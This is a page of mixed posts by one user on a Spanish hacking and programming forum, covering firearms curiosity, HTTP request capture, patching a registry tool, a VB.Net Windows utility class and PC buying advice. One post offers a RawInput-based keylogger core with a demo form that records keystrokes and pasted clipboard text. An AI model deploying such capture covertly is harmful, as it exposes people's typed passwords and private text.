Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Eleкtro

#407
Hola

Siempre he tenido curiosidad por saber ciertos detalles sobre armas de fuego, aunque dudo mucho que los que leais esto tengais un arma (yo no engo)... pero quizás tengais conocimientos sobre las armas en general.

Para empezar, existe una expresión muy conocida "Te ha salido el tiro por la culata", esto se debe a que antaño las pistolas, concretamente los revólveres, muchos de ellos fallaban y el tiro podía salir por la culata, provocando una herida de bala o la muerte del que dispara.

¿Con las pistolas automáticas existe ese riesgo?, ¿y con los revólveres del siglo XXI?.

¿Cual es el porcentaje real de que un arma pueda tener un fallo grave que pueda ocasionar lesiones o incluso la muerte?

Además de eso, también he llegado a ver muchas armas que se disparan solas, por un movimiento brusco o al carse al suelo, etc, siempre sin llegar a apretar el gatillo... ¿eso es otro aspecto "normal" de un arma en mal estado?, y digo "en mal estado" por que prefiero no pensar que un arma en buen estado también pueda hacer eso, ¿realmente la tecnología de hoy en día no puede fabricar armas más seguras?, de por si ya es asqueroso que las armas se utilicen para quitar vidas, pero, al menos que no quiten vidas de más por un fallo en el arma.

Hoy estuve viendo un recopilatorio de fails en youtube sobre los sirios, y ...bueno, sale un subnormal (estos tipos no tienen otro nombre) que está disparando una AK y de repente el arma EXPLOTA, ¿es eso algo normal en serio?, ¿un arma de fuego con un fallo de producción puede explotar sin más?, he capturado el momento del video en un gif animado:

#408
Muy buenas!.

Tengo intención de desarrollar un cliente de escritorio que permitirá crear una publicación en "X" sitio web, para ello hay que rellenar un form con campos específicos, no tengo problema en averiguar cómo rellenar el form, el problema que tengo es al realizar la petición, ya que es un tema que no controlo bien, y necesito saber los parámetros de la query.

Estoy tratando de averiguarlo mediante firefox + Http fox, pero no me captura la petición o yo no consigo verla, no encuentro ninguno de los datos que he usado para rellenar el form...

¿Alguien me hecha una mano?

Preferiría que me explicasen que herramienta es conveniente utilizar para averiguar estos datos para aprender por mi cuenta, sinceramente no se lo que ocurre, con otros sitios web los cuales son mucho más complejos pude llevar a cabo esta misma tarea con dicha extensión Http Fox, pero en esta página me es imposible averiguar nada.

El form de la publicación es el siguiente, aunque hay que estar registrado (el registro es gratis)
http://freehardmusic.com/albums.html?sobi2Task=addNew

Saludos!
#409
INTRODUCCIÓN



Buenas!.

La forma tradicional de capturar las pulsaciones del teclado es mediante un hook del teclado, sin embargo, esta técnica está deprecada en .Net, ya que existe una forma alternativa o "moderna" que aporta bastantes mejoras (sobre todo mejoras de rendimiento), RawInput (el cual también sirve para sustituir a un LL-Hook del mouse):

About Raw Input

CitarThe raw input model is different from the original Windows input model for the keyboard and mouse.

In the original input model, an application receives device-independent input in the form of messages that are sent or posted to its windows, such as WM_CHAR, WM_MOUSEMOVE, and WM_APPCOMMAND. In contrast, for raw input an application must register the devices it wants to get data from.

Also, the application gets the raw input through the WM_INPUT message.

There are several advantages to the raw input model:

   An application does not have to detect or open the input device.
   An application gets the data directly from the device, and processes the data for its needs.
   An application can distinguish the source of the input even if it is from the same type of device. For example, two mouse devices.
   An application manages the data traffic by specifying data from a collection of devices or only specific device types.
   HID devices can be used as they become available in the marketplace, without waiting for new message types or an updated OS to have new commands in WM_APPCOMMAND.

Siempre tuve curiosidad por RawInput pero nunca me animé a implementar este modelo ya que sabía que iba a ser una auténtica pesadilla de P/Invoking, pero al final la curiosidad pudo conmigo, y tras analizar decenas de ejemplos y semi-ejemplos en C#, acabé acumulando suficiente información para desarrollar el core de un keylogger para uso genérico en VB.Net.





DESCRIPCIÓN



Esto NO es un programa, es un algoritmo o código que encapsula los datos y las definiciones de la API de Windows de los miembros de RawInput, junto a todo lo demás adicional y necesario, exponiendo sus funcionalidades a través de una Class, con propiedades, y eventos.

Se puede decir que es la base o el core para poder desarrollar la UI de un KeyLogger, ya que usando esta Class solamente sería necesario diseñar la UI y/o adaptar este código si fuese necesario según las necesidades del programador por ejemplo para monitorizar las ventana que tiene el foco activado, o la interpretación textual de las teclas del sistema, etc...

Hay varias cosas que perfeccionar y refactorizar en el código, no comparto este código cómo si fuese el mejor y más completo algoritmo del mundo, me he tomado la molestia de decorar bastante este post por que creo que el código cómo ejemplo está muy bien ...ha sido bastante laborioso y por ese motivo se merece una mención especial de esta forma (por mi parte), pero simplemente comparto el código para mostrarles una manera curiosa, distina y mejor, una alternativa "moderna" a la deprecada técnica de SetWindowsHookEx + CallNextHookEx + UnhookWindowsHookEx para llevar a cabo la misma tarea.





CARACTERÍSTICAS




  • Multi-Idioma
    El keylogger soporta distintos layouts del teclado.
    Gracias a esto, se puede cambiar el comportamiento de las pulsaciones en cualquier momento, por ejemplo del teclado Español (es-ES) al Inglés (en-US).


  • Multi-Dispositivo
    El Keylogger soporta varios dispositivos de teclado al mismo tiempo.
    NOTA: En teoría. Se intentan registrar todos los dispositivos conectados que sean de tipo "KEYBOARD", pero no lo puedo probar con certeza.


  • Soporte para caracteres especiales.
    Gracias a la función 'ToUnicodeEx' de la API de Windows, el Keylogger es capaz de interpretar caracteres especiales cómo la Ñ o la Ç.
    NOTA: En teoría. No lo he probado con el layout ruso por ejemplo.


  • Ignorar teclas, caracteres, o strings producidos por teclas muertas (dead keys).
    Se puede especificar una serie de teclas, caracteres, o strings que serán ignorados por el keylogger.



  • Controlar las operaciones de pegado (pasting) de texto (Ctrl+v).
    Se puede activar esta característica para que, mediante un evento, se nos notifique el texto que se ha pegado (si algún texto) al pulsar la combinación de teclas Ctrl+V.






DEMOSTRACIÓN



A la derecha está lo que escribo en un editor de texto, a la izquierda está lo que intercepta el keylogger y la interpretación de las teclas del sistema.



El código que he utilizado para desarrollar el ejemplo:
Código (vbnet) [Seleccionar]
Public NotInheritable Class Form1 : Inherits Form

   Private WithEvents keyLogger As InputDevice

   Public Sub New()

       Me.InitializeComponent()

       ' Instance an InputDevice object, which enumerates and registers the keyboards found.
       Me.keyLogger = New InputDevice(Me.Handle)

       ' Set keyboard layout to the default culture, in my case 'es-ES'.
       Me.keyLogger.Language = InputLanguage.DefaultInputLanguage.Culture.Name

       ' Handle text pasting operations (Ctrl+V).
       Me.keyLogger.HandlePastes = True

       ' Avoid raising KeyPressed event for non-relevant keys for this app example:
       ' Left/Right Shift, Alt, AltGr, CapsLock, NumLock, and Left/Right Win key.
       Me.keyLogger.IgnoredKeys = {Keys.ShiftKey, Keys.Menu, Keys.CapsLock, Keys.NumLock, Keys.LWin, Keys.RWin}

       ' Me.keyLogger.IgnoredChars = {"^"c}
       ' Me.keyLogger.IgnoredCharsComparer = EqualityComparer(Of Char).Default

       ' Me.keyLogger.IgnoredStrings = {"^^"}
       ' Me.keyLogger.IgnoredStringsComparer = StringComparer.OrdinalIgnoreCase

   End Sub

   Private Sub KeyLogger_KeyPressed(ByVal sender As Object, ByVal e As InputDevice.KeyPressedEventArgs) _
   Handles keyLogger.KeyPressed

       Me.Label_Handle.Text = String.Format("Device Handle: {0}", e.DeviceInfo.DeviceHandle.ToString)
       Me.Label_Type.Text = String.Format("Device Type: {0}", e.DeviceInfo.DeviceType)
       Me.Label_Name.Text = String.Format("Device Name: {0}", e.DeviceInfo.DeviceName.Replace("&", "&&"))
       Me.Label_Descr.Text = String.Format("Device Description: {0}", e.DeviceInfo.DeviceDescription)
       Me.Label_Key.Text = String.Format("Device Key: System.Windows.Forms.Keys.{0}", e.DeviceInfo.Key.ToString)
       Me.Label_DevCount.Text = String.Format("Devices Count: {0}", Me.keyLogger.DeviceCount.ToString)

       Select Case e.DeviceInfo.Key

           Case Keys.Enter
               e.DeviceInfo.Chars = ControlChars.CrLf & "{ENTER}"

           Case Keys.Back
               e.DeviceInfo.Chars = "{BACKSPACE}"

           Case Keys.ControlKey
               e.DeviceInfo.Chars = "{CTRL}"

           Case Else
               ' ...

       End Select

       Me.TextBox1.Text = e.DeviceInfo.Chars
       Me.TextBox2.AppendText(e.DeviceInfo.Chars)

   End Sub

   Private Sub KeyLogger_HotkeyPastePressed(ByVal sender As Object, ByVal e As InputDevice.HotkeyPastePressedEventArgs) _
   Handles keyLogger.HotkeyPastePressed

       Me.TextBox2.AppendText("{INIT_PASTE}" & e.ClipboardData & "{END_PASTE}")

   End Sub

   Private Sub Button_Clean_Click(sender As Object, e As EventArgs) _
   Handles Button_Clean.Click

       Me.TextBox2.Clear()

   End Sub

   Private Sub Button_Dispose_Click(ByVal sender As Object, ByVal e As EventArgs) _
   Handles Button_Dispose.Click

       If Me.keyLogger IsNot Nothing Then
           Me.keyLogger.Dispose()
       End If

   End Sub

End Class






DIAGRAMA DE CLASS



v





CÓDIGO FUENTE



http://pastebin.com/sMGREDTj
http://pastebin.com/u7uKf8ge

Espero que les haya gustado.

Si encuentran cualquier bug por favor coméntenlo aquí.

Saludos!
#410
Buenas!!

Esta pregunta ya la posteé hace unos cuantos meses, MCKSys Argentina me ayudó a solucioanr uno de los problemas de esta app (gracias de nuevo), pero pasa el tiempo y no consigo solucionar este otro problema.

La app, que fue desarrollada en C/C++, es esta, RegShot 2.0 (x64):
http://www.mediafire.com/download/32wkk7cjlhjal7c/Regshot.zip

Sirve para crear y comparar capturas del registro de Windows, el problema está cuando se le da al botón "Comparar" (o "Compare" teniendo la UI en Inglés), la app se minimiza a la barra de tareas y se ejecuta un archivo de texto en el editor por defecto, bien, yo quiero evitar el minimizado, que me tiene hasta los web..., me tiene muy harto de verdad por que utilizo mucho esta app y es incomodísimo que haga eso siempre!.

En el OllyDBG podría tratar de localizar la instrucción por mis propios medios (y luego preguntarle a ustedes que debo hacer xD), pero cómo es una app de 64 Bits debo usar IDA u otro desamblador que soporte x64, y ahí ya si que me pierdo por completo con el IDA hasta para buscar... más que con OllyDBG quiero decir ...que también me pierdo xD.

¿Alguien me puede echar una mano?.

PD: Tengo el IDA para probar lo que me digan...

Saludos!
#412

ACTUALIZADO EL 27/JUNIO/2015




• ¿ Para que sirve esto ?

EnvironmentUtil.vb es una Class con un conjunto de Classes hijas que cumplen diversas funcionalidades relacionadas con el entorno de Windows, funcionalidades que mediante la librería de classes de .NET Framework no se pueden llevar a cabo, y en algunos casos para simplificar a éstas,
permite modificar muchos parámetros del sistema cómo por ejemplo la velocidad del mouse o del teclado, así cómo desde poder registrar una variable de entorno en el sistema, modificar el wallpaper del escritorio, mostrar u ocultar el escritorio o la barra de tareas, anclar o desanclar items en la barra de tareas o el menú de inicio, hasta iterar las ventanas del explorador de Windows o notificar ciertos eventos del sistema (y del registro) para afectar los cambios.

En resumen, sirve para todo un poco, ya que hace un poco de casi todo, pero obviamente le faltan muchísimas posibles funcionalidades adicionales.

La Class consta de más de 8.000 lineas de código, esto hace un poco compleja la manutención y depuración del código, es posible que haya algún bug que no he detectado todavía, sean tolerantes con esto y sean libres de reportarme cualquier problema para poder corregirlo.

Acepto cualquier tipo de crítica y/o petición para añadirle nuevas funcionalidades a este proyecto, ya que a pesar de ser tanto código lo cierto es que por ahora cumple poquitas funciones, si les ha gustado entonces dejen su omentario y no tienen más que decirme que característica les gustaría que implementase en esta class ...la única condición es que la característica debe estar relacionada con la temática de la Class :).




• ¿ Cómo lo hago funcionar ?

La Class contiene varias classes hijas cuyo nombre ya da una pista sobre el tipo de funcionalidades que se pueden encontrar:

  • EnvironmentUtil.EnvironmentVariables
  • EnvironmentUtil.FileSystem
  • EnvironmentUtil.OS
  • EnvironmentUtil.Programs
  • EnvironmentUtil.Shell
  • EnvironmentUtil.Shell.Desktop
  • EnvironmentUtil.Shell.Explorer
  • EnvironmentUtil.Shell.StartMenu
  • EnvironmentUtil.Shell.TaskBar
  • EnvironmentUtil.Theming

Algunas funcionalidades requieren que se añada algunas referencias al proyecto:

  • Microsoft Shell Controls And Automation (COM) (Interop.SHDocVw.dll)
  • Microsoft Internet Controls (COM) (Interop.Shell32.dll)

La Class se puede utilizar directamente copiando todo el código en una nueva Class, o también se puede compilar el código en una librería dinámica dll.

A cada miembro le añadí documentación XML para IntelliSense, para entender cual es el propósito de cada miembro, y cómo hacerlo funcionar explicando cada parámetro.

Además, abajo puedne ver el diagrama de Classes, y además también, en la cabecera de la Class, pueden encontrar una región que contiene un sumario de los miembros públicos de cada clase hija.

Importante:
Debo mencionar que yo he compartido la class "compactada" así muy "arrejuntada" o cómo quieran llamarlo pero solamente lo he hecho para que sea facil su distribuición en un único archivo.
Si van a usar/compilar este proyecto, entonces lo correcto sería separar las clases hijas en distintos archivos ...sobre todo para que el mantenimiento no se vuelva una pesadilla entre tantos miles de lineas de código.





• Código fuente:
http://pastebin.com/2WW6j3h8




• Lista de propiedades, métodos y funciones públicas (y los types que acepta cada overload)

Código (vbnet) [Seleccionar]
#Region " Public Members Summary "

#Region " Child Util-Classes "

EnvironmentUtil.EnvironmentVariables
EnvironmentUtil.FileSystem
EnvironmentUtil.OS
EnvironmentUtil.Programs
EnvironmentUtil.Shell
EnvironmentUtil.Shell.Desktop
EnvironmentUtil.Shell.Explorer
EnvironmentUtil.Shell.StartMenu
EnvironmentUtil.Shell.TaskBar
EnvironmentUtil.Theming

#End Region

#Region " Properties "

EnvironmentUtil.EnvironmentVariables.CurrentVariables(EnvironmentUtil.EnvironmentUser) As ReadOnlyCollection(Of EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo)
EnvironmentUtil.OS.ActiveWindowTrackingEnabled As Boolean
EnvironmentUtil.OS.ActiveWindowTrackingTimeout As UShort
EnvironmentUtil.OS.BeepEnabled As Boolean
EnvironmentUtil.OS.BlockSendInputResetsEnabled As Boolean
EnvironmentUtil.OS.BorderMultiplierFactor As Integer
EnvironmentUtil.OS.CaretWidth As Integer
EnvironmentUtil.OS.CleartypeEnabled As Boolean
EnvironmentUtil.OS.ClientAreaAnimationEnabled As Boolean
EnvironmentUtil.OS.ComboBoxAnimationEnabled As Boolean
EnvironmentUtil.OS.CurrentArchitecture() As EnvironmentUtil.OS.Architecture
EnvironmentUtil.OS.CursorShadowEnabled As Boolean
EnvironmentUtil.OS.DoubleClickSize As Size
EnvironmentUtil.OS.DoubleClickTime As Integer
EnvironmentUtil.OS.DragFullWindowsEnabled As Boolean
EnvironmentUtil.OS.DragSize As Size
EnvironmentUtil.OS.DropShadowEnabled As Boolean
EnvironmentUtil.OS.FlatMenuEnabled As Boolean
EnvironmentUtil.OS.FocusBorderSize As Size
EnvironmentUtil.OS.FontSmoothingContrast As Integer
EnvironmentUtil.OS.FontSmoothingEnabled As Boolean
EnvironmentUtil.OS.ForegroundFlashCount As UShort
EnvironmentUtil.OS.ForegroundLockTimeout As UShort
EnvironmentUtil.OS.HotTrackingEnabled As Boolean
EnvironmentUtil.OS.HungAppTimeout As Integer
EnvironmentUtil.OS.IconSpacing As Size
EnvironmentUtil.OS.IconTitleWrappingEnabled As Boolean
EnvironmentUtil.OS.KeyboardDelay As Integer
EnvironmentUtil.OS.KeyboardSpeed As Integer
EnvironmentUtil.OS.ListBoxSmoothScrollingEnabled As Boolean
EnvironmentUtil.OS.MenuAccessKeysUnderlined As Boolean
EnvironmentUtil.OS.MenuAnimationEnabled As Boolean
EnvironmentUtil.OS.MenuFadeEnabled As Boolean
EnvironmentUtil.OS.MenuShowDelay As Integer
EnvironmentUtil.OS.MessageDuration As Long
EnvironmentUtil.OS.MouseButtonsSwapEnabled As Boolean
EnvironmentUtil.OS.MouseClickLockEnabled As Boolean
EnvironmentUtil.OS.MouseClickLockTime As Integer
EnvironmentUtil.OS.MouseHoverSize As Size
EnvironmentUtil.OS.MouseHoverTime As Integer
EnvironmentUtil.OS.MouseSonarEnabled As Boolean
EnvironmentUtil.OS.MouseSpeed As Integer
EnvironmentUtil.OS.MouseTrailAmount As Integer
EnvironmentUtil.OS.MouseVanishEnabled As Boolean
EnvironmentUtil.OS.MouseWheelScrollLines As Integer
EnvironmentUtil.OS.OverlappedContentEnabled As Boolean
EnvironmentUtil.OS.PopupMenuAlignment As LeftRightAlignment
EnvironmentUtil.OS.ScreensaverEnabled As Boolean
EnvironmentUtil.OS.ScreensaverPath As String
EnvironmentUtil.OS.ScreensaverTimeout As Integer
EnvironmentUtil.OS.ScreensaveSecureEnabled As Boolean
EnvironmentUtil.OS.SelectionFadeEnabled As Boolean
EnvironmentUtil.OS.SnapToDefaultEnabled As Boolean
EnvironmentUtil.OS.SystemDateTime As Date
EnvironmentUtil.OS.SystemLanguageBarEnabled As Boolean
EnvironmentUtil.OS.TitleBarGradientEnabled As Boolean
EnvironmentUtil.OS.ToolTipAnimationEnabled As Boolean
EnvironmentUtil.OS.UIEffectsEnabled As Boolean
EnvironmentUtil.OS.WaitToKillAppTimeout As Integer
EnvironmentUtil.OS.WaitToKillServiceTimeout As Integer
EnvironmentUtil.OS.WheelscrollChars As Integer
EnvironmentUtil.Programs.DefaultWebBrowser() As String
EnvironmentUtil.Programs.IExplorerVersion() As Version
EnvironmentUtil.Shell.Explorer.ExplorerWindows As ReadOnlyCollection(Of ShellBrowserWindow)
EnvironmentUtil.Shell.Explorer.ExplorerWindowsFolders As ReadOnlyCollection(Of Shell32.Folder2)
EnvironmentUtil.Shell.TaskBar.ClassName() As String
EnvironmentUtil.Shell.TaskBar.Hwnd() As Intptr
EnvironmentUtil.Theming.AeroEnabled() As Boolean
EnvironmentUtil.Theming.AeroSupported() As Boolean
EnvironmentUtil.Theming.CurrentTheme() As EnvironmentUtil.Theming.ThemeInfo
EnvironmentUtil.Theming.CurrentWallpaper() As String
EnvironmentUtil.Theming.WallpaperAsJpegIsSupported() As Boolean
EnvironmentUtil.Theming.WallpaperStylesFitFillAreSupported() As Boolean

#End Region

#Region " Types "

EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo
EnvironmentUtil.Theming.ThemeInfo

#End Region

#Region " Functions "

EnvironmentUtil.EnvironmentVariables.GetValue(EnvironmentUtil.EnvironmentUser, String, Boolean) As String
EnvironmentUtil.EnvironmentVariables.GetVariableInfo(EnvironmentUtil.EnvironmentUser, String, Boolean) As EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo
EnvironmentUtil.FileSystem.GetItemVerbs(String) As IEnumerable(Of FolderItemVerb)
EnvironmentUtil.FileSystem.ItemNameIsInvalid(String) As Boolean
EnvironmentUtil.FileSystem.ItemNameOrPathIsInvalid(String) As Boolean
EnvironmentUtil.FileSystem.ItemPathIsInvalid(String) As Boolean

#End Region

#Region " Methods "

EnvironmentUtil.EnvironmentVariables.RegisterVariable(EnvironmentUtil.EnvironmentUser, EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo, Boolean)
EnvironmentUtil.EnvironmentVariables.RegisterVariable(EnvironmentUtil.EnvironmentUser, String, String, Boolean)
EnvironmentUtil.EnvironmentVariables.UnregisterVariable(EnvironmentUtil.EnvironmentUser, String, Boolean)
EnvironmentUtil.FileSystem.InvokeItemVerb(String, String)
EnvironmentUtil.OS.NotifyDirectoryAttributesChanged(String)
EnvironmentUtil.OS.NotifyDirectoryCreated(String)
EnvironmentUtil.OS.NotifyDirectoryDeleted(String)
EnvironmentUtil.OS.NotifyDirectoryRenamed(String, String)
EnvironmentUtil.OS.NotifyDriveAdded(String, Boolean)
EnvironmentUtil.OS.NotifyDriveRemoved(String)
EnvironmentUtil.OS.NotifyFileAssociationChanged()
EnvironmentUtil.OS.NotifyFileAttributesChanged(String)
EnvironmentUtil.OS.NotifyFileCreated(String)
EnvironmentUtil.OS.NotifyFileDeleted(String)
EnvironmentUtil.OS.NotifyFileRenamed(String, String)
EnvironmentUtil.OS.NotifyFreespaceChanged(String)
EnvironmentUtil.OS.NotifyMediaInserted(String)
EnvironmentUtil.OS.NotifyMediaRemoved(String)
EnvironmentUtil.OS.NotifyNetworkFolderShared(String)
EnvironmentUtil.OS.NotifyNetworkFolderUnshared(String)
EnvironmentUtil.OS.NotifyUpdateDirectory(String)
EnvironmentUtil.OS.NotifyUpdateImage()
EnvironmentUtil.OS.ReloadSystemCursors()
EnvironmentUtil.OS.ReloadSystemIcons()
EnvironmentUtil.OS.RunDateTime()
EnvironmentUtil.OS.RunExecuteDialog()
EnvironmentUtil.OS.RunFindComputer()
EnvironmentUtil.OS.RunFindFiles()
EnvironmentUtil.OS.RunFindPrinter()
EnvironmentUtil.OS.RunHelpCenter()
EnvironmentUtil.OS.RunSearchCommand()
EnvironmentUtil.OS.RunTrayProperties()
EnvironmentUtil.OS.RunWindowsSecurity()
EnvironmentUtil.OS.RunWindowSwitcher()
EnvironmentUtil.Shell.Desktop.CascadeWindows()
EnvironmentUtil.Shell.Desktop.Hide()
EnvironmentUtil.Shell.Desktop.Show()
EnvironmentUtil.Shell.Desktop.TileWindowsHorizontally()
EnvironmentUtil.Shell.Desktop.TileWindowsVertically()
EnvironmentUtil.Shell.Desktop.ToggleState()
EnvironmentUtil.Shell.Explorer.AddFileToRecentDocs(String)
EnvironmentUtil.Shell.Explorer.RefreshWindows()
EnvironmentUtil.Shell.StartMenu.PinItem(String)
EnvironmentUtil.Shell.StartMenu.UnpinItem(String)
EnvironmentUtil.Shell.TaskBar.Hide(Boolean)
EnvironmentUtil.Shell.TaskBar.PinItem(String)
EnvironmentUtil.Shell.TaskBar.Show(Boolean)
EnvironmentUtil.Shell.TaskBar.UnpinItem(String)
EnvironmentUtil.Theming.RemoveDesktopWallpaper()
EnvironmentUtil.Theming.SetDesktopWallpaper(String, EnvironmentUtil.Theming.WallpaperStyle)
EnvironmentUtil.Theming.SetSystemCursor(String, EnvironmentUtil.Theming.CursorType)

#End Region

#End Region


• Diagrama de Classes:













#414
Foro Libre / Hilo de Memes !!
23 Junio 2015, 13:44 PM
Buenas!

He rescatado unos memes que hice (aunque son muy pocos) y pensé que sería buena idea crear un hilo donde compartamos nuestros memes, ¡el foro libre necesita un hilo de este tipo YAAAA!.

Creo que lo divertido del asunto sería compartir nuestras propias creaciones de memes, pero bueno, se aceptan memes aleatorios también, los que os hayan hecho más gracia :).

Hay muchos servicios online para crear memes, aquí tienen dos bastante buenos:
http://www.memegenerator.es/meme/personalizado
http://www.cuantocabron.com (creo que hay que registrarse para acceder a la sección del diseñador de memes)

Así que, sin más dilatación (chistecito Troll para empezar), comienzo esta sección con mis pocas creaciones de Memes:























         















#417
Cómo dice el título del tema, ¿alguien tiene puñetera idea de si es posible, tal vez mediante Reflection, cómo se puede comprobar los valores de los atributos de una firma de una declaración de invocación de plataforma?.

Código (csharp,1) [Seleccionar]
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int xxx();


Código (vbnet,1) [Seleccionar]
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function xxx() As Integer
End Function


Basicamente necesito comprobar el valor de SetLastError en tiempo de ejecución, para determinar si es True o es False, pero parece un misterio sin resolver.

¿Alguien sabe de alguna referencia oficial de MSDN donde expliquen este detalle tan específico?, ¿cómo obtener los metadatos del método?.

Es para mejorar la lógica de este método genérico, ya que sin poder determinar ese detalle que me falta, no sirve para nada realizar un checkeo:
Código (vbnet) [Seleccionar]
   ''' <summary>
   ''' Invokes the encapsulated function, Tthen checks the exit code returned by the function that was called using platform invoke
   ''' that has the <see cref="DllImportAttribute.SetLastError"/> flag set.
   ''' </summary>
   ''' ----------------------------------------------------------------------------------------------------
   ''' <exception cref="Win32Exception">
   ''' Function 'X' thrown an unmanaged Win32 exception with error code 'X'.
   ''' </exception>
   ''' ----------------------------------------------------------------------------------------------------
   Private Shared Sub SafePInvoke(Of T)(ByRef refResult As T, ByVal expr As expression(Of Func(Of T)))

       refResult = expr.Compile.Invoke()

       Dim exitCode As Integer = Marshal.GetLastWin32Error
       If exitCode <> 0 Then
           Throw New Win32Exception([error]:=exitCode, message:=String.Format("Function '{0}' thrown an unmanaged Win32 exception with error code '{1}'.",
                                                                              CType(expr.Body, MethodCallExpression).Method.Name, CStr(exitCode)))
       End If

   End Sub


Saludos!
#418
El tema ha sido movido a .NET.

Esto es VisualBasic.Net, no VisualBasic.

http://foro.elhacker.net/index.php?topic=436790.0
#420
Buenas!


• Situación


Puedo y voy a adquirir un PC de gama alta-extrema, el dinero no importa (ya que no lo pago yo, ni tampoco mi familia, pero es una cosa que prefiero aclarar por que tampoco intento presumir de dinero que no tengo), solo hay dos condiciones en todo este asunto, y es que el PC no puedo pedirlo por piezas, y el PC tiene que existir en los establecimientos de el elcorteingles, por ende, he estado analizando los PCs de escritorio en la web de elcorteingles, con este criterio o filtro (no quiero un Apple, ni un PC que valga menos dinero de lo que sale en este filtro):
Ordenadores de sobremesa
(Que el PC tenga o no pantalla, es irrelevante)

Directamente he ido a fijarme en el PC más caro, aunque no cumple mis espectativas iniciales (quiero decir, que si tuviesen a la venta un PC de +10.000€ y con una Titan X sería la gloría ya), pero a simple vista es el mejor PC en "el escaparate" de elcorteingles:
Ordenador Sobremesa Mountain Glacier Pro Intel Core i7 5930K


• Comparación de componentes


Las especificaciones técnicas de ese PC me parecen excelentes, un procesador Intel Core i7 5930K (3,7 GHz) con 15 MB de cache interna, 16 GB de RAM a DDR4, dos tarjeta nVidia GTX 970, un disco SSD de 256 GB, y refrigeración líquida.

Actualmente tengo un PC caracterizado por un procesador AMD FX-8350 (4,0 GHz), 16 GB de RAM a DDR3, una tarjeta nVidia GTX 650, un disco principal SATA (a 5400 RPM), y refrigeración por aire.

Por favor analicen esta información que he dado para ayudarme en la conclusión... en la elección del PC de elcorteingles.


• Problema


Basicamente todo se reduce a que tengo un PC que me funciona bien, no me quejo en absoluto de su rendimiento (menos en los juegos, tengo una birria de tarjeta) pero ya que puedo tener el PC que sea de elcorteingles quiero tenerlo a lo grande o al menos uno que sea mejor que mi equipo actual, eso si, sin que el nuevo PC afecte al consumo general de electricidad en comparación con lo que consume mi PC actual ...a ser posible.

El PC va a estar encendido las 24 h. del día (ya esté activo o en suspensión), por eso me preocupa el consumo, por que la diferencia de tener un PC viejo o nuevo un par de horas encendido al día no me importaría, pero si son 24 h. por 365 días tal vez la diferencia del consumo entre el PC actual y el PC nuevo si que se pueda notar una brutalidad.


• Preguntas


Me surgen una serie de cuestiones porque estoy deseando tener el PC más bueno del establecimiento, pero por otro lado me da "miedo" el impacto económico que pueda causar una bestia parda cómo esa en el consumo de electricidad de mi casa, y no se si tal vez debido a eso debería restarle prioridad al hecho de poder adquirir el PC más caro por que será el mejor, y sumarle prioridad al consumo general que gastaría el PC que adquiriré, pero sinceramente estoy muy confuso en mi elección por que he visto todos los demás PCs de elcorteingles y no me convence el conjunto de componentes de ningún otro PC.

Basicamente lo que necesito y pido es un poco de atención y orientación sobre mi elección de PC, pero por favor si alguien con experiencia puede aclararme estas dudas le estaré agradecido:



  • ¿Mi procesador AMD FX-8350 (4,0 GHz) es mejor que el Intel Core i7 5930K (3,7 GHz)?,
    quizás sea una pregunta estúpida ya que el de AMD cuesta 5 veces menos que le de Intel, pero tienes más velocidad de procesamiento (Ghz), aunque por otro lado, las especificaciones adicionales de mi AMD son inferiores a las del Intel.
    ¿Cual es mejor?.



  • ¿La refrigeración líquida consume igual, más, o mucho más que la refrigeración por aire?.
    He intentado buscar respuesta a este pregunta por mi cuenta, sin exito:
    http://www.pcworld.com/article/2028293/liquid-cooling-vs-traditional-cooling-what-you-need-to-know.html
    http://www.tomshardware.co.uk/answers/id-2179096/air-cooling-liquid-cooling-pros-cons-differences.html



  • ¿Por qué narices ese PC de elcorteingles tiene ventiladores adicionales, si ya tiene refrigeración líquida?,
    disculpad la ignorancia pero no se muy bien cómo va este tema de refrigeración líquida... ¿pero es necesario tener ventiladores adicionales?,
    ¿quizás ese detalle sea un potente indicador de que el PC va a consumir una cosa exagerada?.


  • ¿El consumo general de ese PC de elcorteingles se podría elevar demasiado en comparación con el consumo del PC que estoy usando actualmente? (leer especificaciones técnicas arriba), esto es lo que más miedo me da.
    ¿Cual es la aproximación a Euros de diferencia que estariamos hablando, al año?



  • ¿Ven algún otro PC de elcorteingles que le pueda hacer frente al PC en el que me he interesado?,
    a mi lo que me importa es la calidad que exista en la relación de componentes (CPU, GPU, RAM, SSD, y la tarjeta de Sonido en mi caso tiene la misma prioridad),
    teniendo en cuenta que me es indiferente si el PC tiene pantalla, y tampoco si el PC lleva 1, o dos tarjetas gráficas (como es el caso de ese PC), por que la segunda gráfica la acabaría vendiendo en eBay xD.
    ¿cual PC y por qué motivo(s)?.



  • ¿Ustedes me recomendarían otro PC de los que se pueden ver en el enlace que he publicado arriba? (teniendo en cuenta que le dinero de compra no es ningún problema, pero el dinero que causaría ese PC en el consumo electrico si),
    ¿cual PC y por qué motivo(s)?.


Gracias por haber leido hasta aquí.

Saludos!
#422
Foro Libre / ¿Youtubers femeninas?
27 Mayo 2015, 08:53 AM
Buenas!

Me puse a buscar youtubers españolas por curiosidad, para ver si el contenido de sus canales eran divertidos ...encontré a Chusitafashionfever y SEXXXYBLOOD, pero es contenido para mujeres,
me pregunto si existe alguna youtuber española que haga videos graciosos y que sean así un poco "cabronas" tipo AuronPlay, es decir, rajando a los autores de videos random de youtube o haciendo putadas bromas telefónicas, o cosas parecidas... canales con un contenido divertido que esté dirigido a hombres o a todo el público.

¿Existe algún canal femenino así?.

Saludos!
#425
El tema ha sido movido a Series - Películas - Música - Juegos - Programas.

Está prohibido publicar aplicaciones sin el código fuente en las secciones de programación.

Que cada uno se considere responsable de lo que descargue.

http://foro.elhacker.net/index.php?topic=435698.0
#426
¿Alguien tiene idea de las herramientas que hacen falta para empezar con el desarrollo de una app de Android usando cómo lenguaje principal VB.Net y bajo la IDE de VisualStudio?.

